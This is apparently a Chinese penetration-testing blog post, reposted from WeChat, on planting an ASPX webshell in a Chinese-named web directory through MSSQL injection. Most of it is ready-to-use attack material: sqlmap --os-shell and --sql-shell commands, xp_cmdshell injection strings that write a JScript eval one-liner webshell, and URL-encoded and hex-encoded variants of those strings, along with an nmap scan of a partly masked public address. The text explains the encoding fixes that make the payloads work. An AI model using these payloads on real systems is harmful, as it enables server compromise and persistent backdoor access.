|
0x01 前言
0x02 目标主机1问题描述
所以想通过执行以下命令给重新设置下网关进行联网,然后再进行下一步测试,但由于网卡的网络连接名称中存在中文而执行失败,将该命令写入批处理文件后再执行,还是失败。
netsh int ip set address "本地连接" static 192.168.1.103 255.255.255.0 192.168.1.1
不过我们通过下图可以看到写入批处理文件中的中文字符是没有任何问题的,只是在读取和执行时中文才会出现乱码,最终导致命令执行失败,所以猜测这个问题可能出在sqlmap。
0x03 目标主机2问题描述
sqlmap -u "http://192.168.1.108/sql.aspx?id=1" --os-shell --batch
netsh advfirewall show allprofile
nmap -sV -Pn 210.**.***.159
好了好了,越扯越远了,回归到正题上,咋继续往下看!!!
0x04 通过浏览器手工写马
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell.aspx'--
简要分析:
为什么能在浏览器写入至中文路径呢?因为浏览器编码是UTF-8,注入页面编码也是UTF-8,可以识别中文字符,而且浏览器也会给中文路径进行URL(UTF-8)编码,BurpSuite抓包解码看一下。
/sql.aspx?id=1;exec%20master..xp_cmdshell%20%27echo%20^%3C%@%20Page%20Language=%22Jscript%22%^%3E^%3C%%eval(Request.Item[%22xxxasec%22],%22unsafe%22);%^%3E%20%3E%20C:inetpubwwwroot%E4%B8%AD%E6%96%87%E6%B5%8B%E8%AF%95shell.aspx%27--
/sql.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell.aspx'--
0x05 sqlmap sql-shell写马
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --sql-shell --batch --proxy http://127.0.0.1:8080
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell1.aspx'
/sql.aspx?id=1%3BEXEC%20master..xp_cmdshell%20%27echo%20%5E%3C%25%40%20Page%20Language%3D%22Jscript%22%25%5E%3E%5E%3C%25%25eval%28Request.Item%5B%22xxxasec%22%5D%2C%22unsafe%22%29%3B%25%5E%3E%20%3E%20C%3A%5Cinetpub%5Cwwwroot%5C%E4%B8%AD%E6%96%87%E6%B5%8B%E8%AF%95%5Cshell1.aspx%27--
/sql.aspx?id=1;EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell1.aspx'--
0x06 sqlmap os-shell写马
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --os-shell --batch --proxy http://127.0.0.1:8080
echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell2.aspx
/sql.aspx?id=1%3BDECLARE%20%40clit%20VARCHAR%288000%29%3BSET%20%40clit%3D0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078%3BINSERT%20INTO%20sqlmapoutput%28data%29%20EXEC%20master..xp_cmdshell%20%40clit--
/sql.aspx?id=1;DECLARE @clit VARCHAR(8000);SET @clit=0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @clit--
0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078
echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:inetpubwwwroot中文测试shell2.aspx
6563686F205E3C25402050616765204C616E67756167653D224A73637269707422255E3E5E3C25256576616C28526571756573742E4974656D5B2278787861736563225D2C22756E7361666522293B255E3E203E20433A5C696E65747075625C777777726F6F745CD6D0CEC4B2E2CAD45C7368656C6C322E61737078
0x07 文末总结
1、浏览器和sqlmap默认都是UTF-8,所以在提交SQL语句时中文路径的URL编码也必须是UTF-8,如果用GB2312的URL编码去提交肯定还是不行的,因为这样中文路径还是会乱码。
2、sqlmap中的os-shell参数是利用xp_cmdshell通过cmd.exe执行的命令,cmd和powershell默认代码页为936(简体中文GBK),而sqlmap默认是以UTF-8提交的数据包,所以会乱码。
0x08 参考链接
https://forum.90sec.org/thread-9716-1-1.html
https://blog.csdn.net/langkew/article/details/7888242
http://www.voidcn.com/article/p-nnhyesle-bms.html
http://www.dark5.net/blog/2019/06/18/SQLmap写shell遇到中文路径解决办法集合/
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
本文始发于微信公众号(渗透Xiao白帽):【干货】MSSQL高权限注入写马至中文路径
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论